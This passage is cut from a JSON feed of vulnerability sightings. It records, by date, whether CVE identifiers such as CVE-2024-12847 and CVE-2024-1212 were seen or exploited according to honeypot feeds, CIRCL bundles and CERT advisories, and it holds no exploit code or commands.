"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-21)", "content": "", "creation_timestamp": "2026-03-21T00:00:00.000000Z"}, {"uuid": "c25552c0-61cb-4655-ac21-ded9bce94f46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "f177e355-fffa-41a8-8638-49502617913f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-15)", "content": "", "creation_timestamp": "2026-03-15T00:00:00.000000Z"}, {"uuid": "b9b0e942-60c2-4c0b-982f-a757a58b5c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "ace841ad-1456-4339-abf9-56fc2071727b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "e183b1bd-6adf-4f53-a1b5-801abb8ec356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-20)", "content": "", "creation_timestamp": "2026-03-20T00:00:00.000000Z"}, {"uuid": "bee42698-20dc-4630-b9ed-ba0f45dbcdc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "feadac21-4597-4cad-847b-025d181d5148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "052cf61a-ced4-4b56-94e0-e3072777dc36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "e6623eaf-daf7-41fa-9761-fb5b99a22bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "78001c21-04f0-4c57-bd34-554ffd74e114", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "1f068154-9783-459c-8583-5421fa330bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-21)", "content": "", "creation_timestamp": "2026-01-21T00:00:00.000000Z"}, {"uuid": "ae491726-04f8-4078-9919-1eee3b27af57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-21)", "content": "", "creation_timestamp": "2026-01-21T00:00:00.000000Z"}, {"uuid": "b29a8521-b9ff-40d4-9b50-ebbc54540a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12632", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/cb44f848-2e46-430a-b089-517177296c87", "content": "", "creation_timestamp": "2024-12-15T10:09:25.481534Z"}, {"uuid": "81553964-e6b0-4573-9e0d-056b0bbcf911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "93274117-f48b-45bc-859d-f4ddc258af39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "18197d7a-8d4a-45fd-b8dd-893254292a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-21)", "content": "", "creation_timestamp": "2026-03-21T00:00:00.000000Z"}, {"uuid": "d4bdf883-052e-4917-a609-aaf4ee124223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "1237b43e-b210-475b-ae5a-76531bde41d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "625747c7-7b37-426e-95f4-ac7c4bd6ff52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "0d2e2085-5cbe-4c64-8f49-c5daf3032550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "ab136273-a49d-45bc-94a5-9a2b1815f080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "f278f86f-a3ec-4f7d-a464-b235b81eec31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "2a758659-f27e-4fcd-a6a4-70ffb5c803fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "10b6fcea-f118-4787-bf91-be442d26fcc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "6b355529-685d-43ce-8031-9b0a204eb2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-22)", "content": "", "creation_timestamp": "2026-01-22T00:00:00.000000Z"}, {"uuid": "6d6b056c-6a59-4c70-8d18-ca2038a6a4c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/85f9fd3a-b2ef-443b-b091-2cad7418236f", "content": "", "creation_timestamp": "2025-02-11T19:05:13.397489Z"}, {"uuid": "dc3fa7da-79f8-431f-a4e9-0066913749b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/fa564b90-570e-4019-98ec-06e92280bea5", "content": "", "creation_timestamp": "2025-02-12T13:38:55.560603Z"}, {"uuid": "081cd508-1cc6-4f56-98fa-93050746838c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-22)", "content": "", "creation_timestamp": "2026-01-22T00:00:00.000000Z"}, {"uuid": "4ecdad0e-997e-4dba-bbdd-90410a7ffb57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-22)", "content": "", "creation_timestamp": "2026-01-22T00:00:00.000000Z"}, {"uuid": "d5861af3-01da-4574-9be4-b56af41ee76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "094a7a00-4cb4-410f-a7a2-ec6c34936d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "2f78b9fd-8e94-4d42-b60f-7ca60b224baa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "fc38a5a8-663d-47f3-ac93-15d113b76355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1450", "content": "", "creation_timestamp": "2024-12-23T04:00:00.000000Z"}, {"uuid": "f3962d37-6295-4093-9507-b4ae0fbf59bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1450", "content": "", "creation_timestamp": "2024-12-23T04:00:00.000000Z"}, {"uuid": "4ef952fc-a654-4c42-9259-2bdaf11e20b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1450", "content": "", "creation_timestamp": "2024-12-23T04:00:00.000000Z"}, {"uuid": "8dec4635-9a4d-46b3-a008-4cd02e09e7b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bbcbc485-b88d-4831-b8e9-6e37e7bd9875", "content": "", "creation_timestamp": "2026-01-21T21:18:16.771453Z"}, {"uuid": "eadf3447-e5ce-42f4-9892-5901d3daeec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "28576419-312c-4ecf-b6bf-b3e1e326fe84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "e4d480e7-bea6-48db-9886-56217923dad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "21b7c342-4318-4724-8b63-3919794dc485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-17)", "content": "", "creation_timestamp": "2026-03-17T00:00:00.000000Z"}, {"uuid": "fc4c1d0c-a3a6-468f-b225-f4da9e94bcc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "2630a393-f201-42d5-aef3-9ca124ecd2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "643404e5-fc60-44b6-8cfc-64415b906b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_4/2025", "content": "", "creation_timestamp": "2025-01-16T11:13:46.000000Z"}, {"uuid": "a51968f4-9905-4d69-ace6-7a23e6342bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-25)", "content": "", "creation_timestamp": "2026-03-25T00:00:00.000000Z"}, {"uuid": "818cb6e8-58d6-4ca9-8c11-318e5b70fd93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-19)", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "e77c6400-6751-4da9-a027-f53433af5c4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "3c2a6b64-df1b-492d-91a1-cb6ea4c00106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-29)", "content": "", "creation_timestamp": "2026-03-29T00:00:00.000000Z"}, {"uuid": "25407747-a01f-4ba2-b0ec-24353e581773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhfjovwlsf2q", "content": "", "creation_timestamp": "2026-03-19T07:57:00.613569Z"}, {"uuid": "eda01484-bb45-43a5-add2-18b8b669b958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/alon710/c4a18bfb1b633de803c3c0a7eb9a1a7e", "content": "", "creation_timestamp": "2026-01-24T22:44:25.000000Z"}, {"uuid": "fd2149f9-3bbf-49cf-8dac-92b5c3c99ad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-24)", "content": "", "creation_timestamp": "2026-01-24T00:00:00.000000Z"}, {"uuid": "0be8e1c4-4054-4433-9491-5409f10ef478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-24)", "content": "", "creation_timestamp": "2026-01-24T00:00:00.000000Z"}, {"uuid": "2200118f-3aed-428d-9bd3-77369b553a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-24)", "content": "", "creation_timestamp": "2026-01-24T00:00:00.000000Z"}, {"uuid": "ceefcc31-dfbb-4ad0-b3ed-8c236c513767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-25)", "content": "", "creation_timestamp": "2026-01-25T00:00:00.000000Z"}, {"uuid": "4a11573e-8069-4928-a705-f794ead87681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-25)", "content": "", "creation_timestamp": "2026-01-25T00:00:00.000000Z"}, {"uuid": "96bde496-4279-497f-87c0-13824578f456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-26)", "content": "", "creation_timestamp": "2026-01-26T00:00:00.000000Z"}, {"uuid": "514af6f9-200b-4295-be09-1d54dfddd4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-26)", "content": "", "creation_timestamp": "2026-01-26T00:00:00.000000Z"}, {"uuid": "757930c1-e1df-410e-9c5b-6a283de56a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-26)", "content": "", "creation_timestamp": "2026-01-26T00:00:00.000000Z"}, {"uuid": "104a21ae-876e-4bee-a063-ba55ec5a17e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-27)", "content": "", "creation_timestamp": "2026-01-27T00:00:00.000000Z"}, {"uuid": "a4471995-a29e-452b-9a4d-caf9b583a8d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-22)", "content": "", "creation_timestamp": "2026-03-22T00:00:00.000000Z"}, {"uuid": "fc1a088e-0122-4966-b99f-700da93a5284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-17)", "content": "", "creation_timestamp": "2026-03-17T00:00:00.000000Z"}, {"uuid": "3527d4ba-ab6d-4d17-b857-63e795f5be1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-23)", "content": "", "creation_timestamp": "2026-03-23T00:00:00.000000Z"}, {"uuid": "3c8cf6da-a56d-4ea4-a72d-9390b33a68ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-27)", "content": "", "creation_timestamp": "2026-01-27T00:00:00.000000Z"}, {"uuid": "2383add2-7cbd-4435-8337-05a5abdf8085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-27)", "content": "", "creation_timestamp": "2026-01-27T00:00:00.000000Z"}, {"uuid": "03f36181-b860-43a4-9236-e2895c85cf73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3f184bde-7860-499f-b179-471a2efc40de", "content": "", "creation_timestamp": "2026-02-02T12:26:16.834172Z"}, {"uuid": "7b54fb52-30ec-4fc8-ae22-40ec116dcbae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4307b145-b847-4e6e-95e2-73fbac1d3256", "content": "", "creation_timestamp": "2026-02-02T12:26:01.216196Z"}, {"uuid": "2c3e0dca-a5f1-456e-9b5d-267e1b281b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/73b19dc5-0069-45a1-b2b3-ac14f1f04fe5", "content": "", "creation_timestamp": "2026-02-02T12:26:17.653144Z"}, {"uuid": "c3041b3e-953a-4370-9b10-c49052cb3e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d08e2367-edbb-4c0b-bd7d-d3479a89ffad", "content": "", "creation_timestamp": "2026-02-02T12:26:21.855514Z"}, {"uuid": "75413901-cef4-4436-87fa-4b301efadb21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-30)", "content": "", "creation_timestamp": "2026-03-30T00:00:00.000000Z"}, {"uuid": "b2c48985-367b-4820-8126-161109d98dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-30)", "content": "", "creation_timestamp": "2026-03-30T00:00:00.000000Z"}, {"uuid": "cab4682c-7edc-4f13-871c-2fe1b2614ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": "2026-03-31T00:00:00.000000Z"}, {"uuid": "66ccd13d-135b-4ba0-a534-403337856a77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": "2026-03-31T00:00:00.000000Z"}, {"uuid": "2617dc15-3c03-4503-a724-4a1984c1c0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-01)", "content": "", "creation_timestamp": "2026-04-01T00:00:00.000000Z"}, {"uuid": "f985d3e8-cf5b-4dda-b8ea-a31c0f8fe035", "vulnerability_lookup_origin": 